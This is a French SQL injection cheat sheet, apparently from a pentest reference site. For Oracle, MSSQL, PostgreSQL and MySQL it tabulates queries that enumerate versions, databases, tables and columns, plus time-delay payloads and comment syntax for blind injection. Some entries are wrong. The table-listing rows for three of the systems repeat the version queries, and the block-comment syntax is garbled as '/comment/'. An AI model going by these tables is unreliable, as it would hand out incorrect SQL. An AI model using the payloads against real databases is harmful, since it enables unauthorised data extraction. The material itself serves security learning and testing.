Injections SQL

Types d’injections

Comparatif des DBMS

Afficher la version de la base de données

DBMS	Commande
Oracle	`SELECT banner FROM v$version` ou `SELECT version FROM v$instance`
Microsoft SQL	`SELECT @@version`
PostgreSQL	`SELECT version()`
MySQL	`SELECT @@version` ou `SELECT version()`

Lister les bases de données

DBMS	Commande
Oracle	`SELECT name FROM v$database;`
Microsoft SQL	`SELECT name FROM sys.databases;`
PostgreSQL	`SELECT datname FROM pg_database;`
MySQL	`SHOW DATABASES` or `SELECT schema_name FROM information_schema.schemata;`

Lister les tables

DBMS	Commande
Oracle	`SELECT TABLE_NAME FROM all_tables`
Microsoft SQL	`SELECT @@version`
PostgreSQL	`SELECT version()`
MySQL	`SELECT @@version` ou `SELECT version()`

Lister les colonnes

DBMS	Commande
Oracle	`SELECT COLUMN_NAME FROM all_tab_columns WHERE table_name = $TABLE_NAME`
Microsoft SQL	`SELECT COLUMN_NAME FROM information_schema.columns WHERE table_name = $TABLE_NAME`
PostgreSQL	`SELECT COLUMN_NAME FROM information_schema.columns WHERE table_name = $TABLE_NAME`
MySQL	`SELECT COLUMN_NAME FROM information_schema.columns WHERE table_name = $TABLE_NAME`

Time Delay

DBMS	Commande
Oracle	`dbms_pipe.receive_message(('a'),10)`
Microsoft SQL	`WAITFOR DELAY '0:0:10'`
PostgreSQL	`SELECT pg_sleep(10)`
MySQL	`SELECT SLEEP(10)`

Commentaires

DBMS	Commande
Oracle	`--comment`
Microsoft SQL	`--comment` ou `/comment/`
PostgreSQL	`--comment` ou `/comment/`
MySQL	`-- comment` (avec un espace après) ou `/comment/` ou `#comment`

Prev

Next